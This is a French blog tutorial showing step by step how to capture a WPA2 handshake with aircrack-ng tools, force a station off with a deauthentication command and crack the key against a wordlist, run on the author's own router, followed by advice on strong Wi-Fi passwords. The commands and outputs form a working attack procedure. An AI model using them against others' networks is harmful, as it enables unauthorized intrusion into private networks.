LA MÉTHODE

Le principe est simple, il faut avoir une clé wifi qui permet de faire du monitoring, afin d'enregistrer les paquets qui circulent sur une liaison wifi entre la box et un autre appareil (ordi, tablette, smartphone...) que nous nommerons station.

Nous allons forcer cette station à se déconnecter, afin de pouvoir enregistrer l'échange de données au moment de la reconnexion. On parlera de Handshake (poignée de main in english).

Nous comparerons enfin la Handshake enregistrée, à une liste de mots, dans l'espoir de trouver une correspondance.


COMMENTAIRES

La méthode est plutôt discrète. On n'intervient que ponctuellement sur la connexion visée et le crackage lui même se faisant hors-ligne, sur un enregistrement, on peut mettre tout le temps que l'on veut sans aucun risque de repérage.

Tous les tests présentés ici ont été réalisés sur MON PROPRE MATÉRIEL. Je rappelle qu'il est interdit de pénétrer un réseaux sans l'autorisation de son propriétaire.

Vous comprendrez par la suite que la majorité des vantards du net qui vous livrent en pâture leurs exploits de pirates ne font que pirater leur propre matériel, en toute connaissance du code wifi qu'ils prétendent découvrir.


LOGICIELS : AIRCRACK-NG

Pour la suite des opérations, je vais considérer que nous sommes sous Debian, Ubuntu ou ses déclinaisons. Personnellement, je suis sous Mint.

La suite logicielle qui va nous permettre ces opérations s'appelle Aircrack-ng. Elle est disponible avec sa documentation en anglais ici : https://www.aircrack-ng.org

Avant toute manipulation, passez en mode root et mettez vous dans le dossier root.


sudo su
cd ~

Ensuite, installez tout simplement aircrack-ng.


apt-get install reaver aircrack-ng


IDENTIFICATION DE LA CLE WIFI : IWCONFIG

Pour identifier la clé on tape la commande iwconfig et le nom de la clé doit apparaitre sous la forme wlan... ou wl...


root@i5-750:~# iwconfig
enp2s0    no wireless extensions.

lo        no wireless extensions.

wlx10bef56e7db6  IEEE 802.11  ESSID:"Icaunis"  
          Mode:Managed  Frequency:2.427 GHz  Access Point: E4:5D:51:11:D9:BE   
          Bit Rate=57.8 Mb/s   Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
          Link Quality=57/70  Signal level=-53 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:9   Missed beacon:0

root@i5-750:~# 

Ici la clé s'appelle wlx10bef56e7db6.


PASSER EN MONITORING : AIRMON-NG

Avant de passer en monitoring, on dresse la liste des processus qui risquent de poser des problèmes, grâce à la commande airmon-ng check.


root@i5-750:~# airmon-ng check

Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  796 wpa_supplicant
  797 NetworkManager
  804 avahi-daemon
  830 avahi-daemon
 1272 dhclient
 2837 dhclient

Un airmon-ng check kill stoppera une bonne partie des processus listés.


root@i5-750:~# airmon-ng check kill

Killing these processes:

  PID Name
  796 wpa_supplicant
 1272 dhclient
 3478 avahi-daemon
 3479 avahi-daemon

On lance le mode monitoring avec une commande airmon-ng start.


root@i5-750:~# airmon-ng start wlx10bef56e7db6

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
 3486 avahi-daemon
 3487 avahi-daemon

PHY	Interface	Driver		Chipset

phy0	wlx10bef56e7db6	rt2800usb	D-Link Corp. 
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.

		(mac80211 monitor mode vif enabled on [phy0]wlan0mon
		(mac80211 station mode vif disabled for [phy0]wlx10bef56e7db6)

Notez qu'il reste toujours deux processus qui pourraient perturber le travail.

Plus important, le mode monitor a été activé et la clé a été renommée wla0mon. Il faut bien noter ce nom car c'est celui que nous utiliserons pour la suite des opérations.


IDENTIFICATION DES RÉSEAUX WIFI DISPONIBLES : AIRODUMP-NG

Nous allons chercher les points d'accès et box disponibles à proximité.


root@i5-750:~# airodump-ng wlan0mon

Chez moi, j'obtiens la liste suivante :


CH 11 ][ Elapsed: 3 mins ][ 2018-12-29 08:47                                         
                                                                                             
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 E4:5D:51:11:D9:XX  -49      137       28    0   4  54e  WPA2 CCMP   PSK  IcaXXX           
 00:16:38:7F:F6:B0  -56      133        6    0  11  54   WPA2 CCMP   PSK  F-7FF6A5           
 F4:F2:6D:EB:1C:XX  -58      142        0    0   4  54e. WPA2 CCMP   PSK  IcaXXX            
 62:95:04:DE:D7:XX  -66      128        0    0   1  54e  WPA2 CCMP   MGT  SFR WiFi Mobile    
 24:95:04:DE:D7:XX  -67      134        3    0   1  54e  WPA  CCMP   PSK  SFR_D7XX           
 62:95:04:DE:D7:XX  -66      131        0    0   1  54e  OPN              SFR WiFi FON       
 00:26:44:F2:BD:XX  -80       74        0    0   1  54e  WPA2 CCMP   PSK  Bbox-E46BXX        
 A0:39:EE:83:A4:XX  -83       55        0    0  11  54e  WPA2 CCMP   PSK  Livebox-A4XX       
 14:0C:76:A2:87:XX  -80       80        0    0   9  54e  WPA2 CCMP   PSK  Freebox-A287XX     
 6A:5D:51:12:1A:XX  -83      127        0    0  11  54   OPN              SFR WiFi FON       
 E4:5D:51:18:71:XX  -84        5        1    0   6  54e  WPA2 CCMP   PSK  SFR_71XX           
 E4:5D:51:CF:83:XX  -87       41        4    0   1  54e  WPA2 CCMP   PSK  SFR_83XX           
 44:CE:7D:36:A3:XX  -84        4        0    0   1  54e  WPA  CCMP   PSK  SFR_A3XX           
 6A:5D:51:18:71:XX  -84        3        0    0   6  54   OPN              SFR WiFi FON       
 6A:5D:51:12:1A:XX  -84      122        0    0  11  54   WPA2 CCMP   MGT  SFR WiFi Mobile    
 62:5D:51:CF:83:XX  -85       49        0    0   1  54   WPA2 CCMP   MGT  SFR WiFi Mobile    
 E4:5D:51:12:1A:XX  -84      117       41    0  11  54e  WPA2 CCMP   PSK  SFR_1AXX           
 E4:9E:12:83:75:XX  -85       43        0    0   3  54e  WPA2 CCMP   MGT  FreeWifi_secure    
 14:0C:76:A2:87:XX  -84       75        0    0   9  54e  WPA2 CCMP   MGT  FreeWifi_secure    
 62:5D:51:CF:83:XX  -86       47        0    0   1  54   OPN              SFR WiFi FON       
 14:0C:76:A2:87:XX  -86       77        0    0   9  54e  OPN              FreeWifi           
 72:CE:7D:36:A3:XX  -86       19        0    0   1  54e  OPN              SFR WiFi FON       
 E4:9E:12:83:75:XX  -87       45        0    0   3  54e  WPA2 CCMP   PSK  Freebox-8375XX     
 E4:9E:12:83:75:XX  -86       31        1    0   3  54e  OPN              FreeWifi            
 AC:84:C9:55:D5:XX   -1        0        1    0   6  -1   WPA              <length:  0>        
 6A:5D:51:18:71:XX  -84        5        0    0   6  54   WPA2 CCMP   MGT  SFR WiFi Mobile     
 72:CE:7D:36:A3:XX  -82        5        0    0   1  54e  WPA2 CCMP   MGT  SFR WiFi Mobile     
                                                                                              
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                    
                                                                                              
 E4:5D:51:11:D9:XX  F4:F2:6D:EB:1C:XX  -56    0e- 0e     0       20                           
 00:16:38:7F:F6:B0  F8:CF:C5:7A:A4:79  -34   54 - 6      0       16  Netgear-D108     
 24:95:04:DE:D7:XX  68:B3:5E:43:F9:XX  -72    0 - 1     13        2                           
 00:26:44:F2:BD:XX  4C:72:B9:FC:A8:XX  -84    0 - 1      0        2                           
 44:CE:7D:36:A3:XX  EC:10:7B:F8:49:XX   -1    1e- 0      0        1                           
 E4:9E:12:83:75:XX  04:1E:64:F1:21:XX   -1    1e- 0      0        1                           
 AC:84:C9:55:D5:XX  E4:0E:EE:26:60:XX  -82    0 - 1e     0        4

Pour des questions de confidentialité, j'ai volontairement remplacé certains caractères par "XX".

Seul mon matériel apparait en clair :

  • Ma box nommée (ESSID) F-7FF6A5 sur le canal 11 avec la Mac Address (BSSID) 00:16:38:7F:F6:B0.
  • Mon poste qui sert de station avec la Mac Address F8:CF:C5:7A:A4:79

Vous noterez la puissance (PWR) des réseaux. Plus le nombre est faible, plus le signal est fort. Au-dessus de 60 dBm la liaison devient faible. Au-dessus de 80 dBm elle est inexploitable. Quand bien même je voudrais pirater un de mes voisins, on voit bien qu'il reste peu de possibilités d'obtenir une connexion fiable.

Autre remarque : rappelez-vous, nous devons déconnecter une station pour capturer le Handshake. Il n'y a que 7 stations connectées, ce qui limite là aussi les possibilité. On peut bien-sûr attendre qu'une station se connecte, mais ça peut prendre du temps.

Bref ! Pour la suite, nous considèrerons que nous voulons cracker la borne ayant les caractéristique suivantes :

  • ESSID = F-7FF6A5
  • CH = 11
  • BSSID = 00:16:38:7F:F6:B0
  • STATION = F8:CF:C5:7A:A4:79


ENREGISTREMENT DU HANDSHAKE

Pour enregistrer une handshake, il nous faut travailler dans deux terminaux. Le premier qui permet de faire tourner l'enregistrement pendant qu'on tente de déconnecter la station dans le second.

On lance d'abord l'enregistrement dans le premier terminal avec une commande airodump-ng ciblée :


root@i5-750:~# airodump-ng wlan0mon --essid F-7FF6A5 -c 11 -a -w test

  • --essid F-7FF6A5 cible l'enregistrement sur ce point d'accès uniquement
  • -c 11 permet de rester uniquement sur le canal 11
  • -a permet d'occulter les stations qui ne sont pas connectées
  • -w test déclare l'enregistrement des paquets dans test-01.CAP

Dans le deuxième terminal, en mode root, on lance la commande de déconnexion de la station :


root@i5-750:~# aireplay-ng --deauth 1 -a 00:16:38:7F:F6:B0 -c F8:CF:C5:7A:A4:79 wlan0mon

  • --deauth est la commande de désauthentification
  • 1 ici on lance une fois la commande
  • -a 00:16:38:7F:F6:B0 Mac Address du point d'accès wifi
  • -c F8:CF:C5:7A:A4:79 Mac Address de la station
  • wlan0mon nom de la carte wifi en mode monitor

root@i5-750:~# aireplay-ng --deauth 1 -a 00:16:38:7F:F6:B0 -c F8:CF:C5:7A:A4:79 wlan0mon
11:01:15  Waiting for beacon frame (BSSID: 00:16:38:7F:F6:B0) on channel 11
11:01:16  Sending 64 directed DeAuth. STMAC: [F8:CF:C5:7A:A4:79] [28|64 ACKs]

Dans plusieurs "tutos" on conseille de lancer la commande en boucle en remplaçant le 1 par 50 par exemple. Il est préférable de relancer la commande en attendant un peu, une commande en boucle peut avoir pour effet de mettre la station en sécurité. J'ai même vu le point d'accès changer de canal.

Une fois les deux commandes lancées, il faut attendre que la Handshake soit signalée en haut de la fenêtre d'enregistrement.

Pour moi une seule commande aireplay-ng --deauth aura suffit. J'obtiens le message suivant dans le premier terminal :


 CH 11 ][ Elapsed: 12 s ][ 2018-12-29 11:01 ][ WPA handshake: 00:16:38:7F:F6:B0                    
                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                   
 00:16:38:7F:F6:B0  -60 100      111       35   15  11  54   WPA2 CCMP   PSK  F-7FF6A5             
                                                                                                   
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                         
                                                                                                   
 00:16:38:7F:F6:B0  F8:CF:C5:7A:A4:79  -22   54 - 6      0      111  Netgear-D108,F-7FF6A5   

On lit bien en haut WPA handshake: 00:16:38:7F:F6:B0.

On peut vérifier par une commande de listing ls que le fichier test-01.cap est bien présent. Si on procède à un deuxième essai, le fichier s'appellera test-02.cap et ainsi de suite.


CRACKAGE DU CODE WIFI : AIRCRACK-NG

Pour cracker le code wifi, il faut comparer l'enregistrement avec une wordlist. C'est un fichier qui contient des codes en clair. Une multitude de wordlists sont disponibles en cherchant un peu.

Vous trouverez les wordlists que j'ai utilisées en annexe de ce billet.

Voici la commande pour trouver le code wifi à partir de la capture test-01.cap et du fichier words.txt placé dans ~/aircrack :


root@i5-750:~# aircrack-ng -w ~/aircrack/words.txt test-01.cap

Le résultat ne se fait pas trop attendre :


                                 Aircrack-ng 1.2 rc4

      [00:00:44] 129952/177071 keys tested (2973.70 k/s) 

      Time left: 15 seconds                                     73.39%

                           KEY FOUND! [ sandwich ]


      Master Key     : 01 BA E8 D8 F8 33 84 90 A0 59 AA 26 A9 E2 F8 52 
                       DE 09 0B C8 E1 8C 0F B5 AB 12 04 98 59 85 A5 5C 

      Transient Key  : 43 31 71 C3 EF 24 A1 E9 1E DE ED 5C A7 8A 20 AE 
                       97 D4 9C 1A 8B A9 08 78 2A 59 55 C3 00 41 60 B5 
                       B3 1A BB 62 92 F9 A2 94 8A 7B EC 0D D1 8F 1A 47 
                       90 F3 73 66 74 B1 8A 51 27 1F 8F 35 24 91 9A 9C 

      EAPOL HMAC     : 41 02 5E 56 75 5D A7 7C 1D 8E 19 68 91 57 21 20 

Le code wifi est bien celui que j'avais déclaré : sandwich

Aircrack-ng a mis 44 secondes pour le trouver en le comparant à une liste de 177 071 mots, c'était le 129 952ème. Ce qui donne une vitesse de comparaison proche de 3 000 codes / seconde (pour une liste de codes relativement simples). Pour info mon poste date un peu, il est équipé d'un processeur i5 750 cadencé à 2.66 GHz et de 16Go de RAM.


ANALYSE

J'ai réussi à cracker le code car il était dans la wordlist, c'est d'ailleurs un hasard.

J'insiste sur ce fait, car il faut bien avoir une liste qui contient la clé cherchée pour réussir le piratage. Imaginez la même tentative avec un code sécurisé type Orange, Free, SFR et autres.

Pour un code Orange, il y a 26 caractères hexadécimaux.
Par exemple : C44D 9A65 92C7 595C 1961 F7D4 EE

26 caractères hexadécimaux, ça donne 16^26 combinaisons possibles, soit 2,02824096×10³¹ combinaisons.

Il est impossible de créer un fichier contenant toutes ces combinaisons, et quand bien même on y arriverait, avec mon ordinateur il faudrait 6,760803201×10²⁷s pour tester la liste complète de combinaisons possibles, soit 2,347501112×10²⁶ jours, soit 6,431509895×10²³ années.

Je vous laisse refaire les calculs ;-).


POURQUOI CHANGER SON CODE WIFI ?

Pour différentes raisons, on peut être amené à changer son code wifi. On a donné le code à quelqu'un et on veut lui retirer l'accès, le code est trop compliqué à retenir et on veut le simplifier... mais la principale raison, c'est que les codes wifi donnés par défaut sont calculés à partir de données propres à la box elle même (SSID, Mac Address...).

On trouve de nombreux articles sur les failles de telle ou telle box. Les algorithmes utilisés pour le cryptage de la clé wifi a fuité et il n'est pas difficile de trouver un utilitaire permettant de cracker le code à partir d'éléments visibles en ligne (encore une fois : ESSID, Mac Address...).

Dans tous les cas il est préférable de changer le code wifi et l'ESSID dès la mise en service de la box.


COMMENT COMPOSER UN NOUVEAU CODE ?

La première mauvaise idée, c'est de mettre une suite de nombres du type "date de naissance".
Il m'aura fallu moins d'une minute pour casser le code contenant ma date de naissance (enfin presque ;-) ) : 18031981

La deuxième mauvaise idée, c'est de mettre un mot en clair, aussi long soit-il. On trouve des wordlists contenant un très grand nombre de mots de la langue française. On mettra sans doute plus de temps, mais certainement pas plus de quelques heures pour cracker le code.

Vous trouverez en ligne, des services permettant de générer des codes sécurisés : motdepasse.xyz
Un code de 20 caractères mélangeant chiffres et lettres majuscules suffit amplement.


RIONS UN PEU

Vous trouverez ci-dessous la vidéo de Mad-Attack, un hackeur franco-russe (MDR) et grand crackeur de wifi... enfin de son propre réseau wifi :

  1. Il trouve le code en 1s en comparant avec une liste de "codes Free"
  2. Il ne me semble pas que le code trouvé (7E97A98515) soit un code Free par défaut
  3. Les 4 premières lignes de sa recherche de points d'accès sont liées au même matériel 3A:B1:29:D1:39:Ex
  4. Vue la force du signal (-18 dBm), le matériel doit être chez lui, voire posé à coté de la clé wifi
  5. On ne voit jamais le contenu de la wordlist "Free" à l'écran
  6. On attend toujours les wordlists "à gogo" promises, une wordlist de 16^10 soit 1,099511628×10¹² lignes, whaou !

Allez, bonne rigolade, voilà la vidéo ;-)





Wordlists utilisées pour mes essais :

D'autres pistes :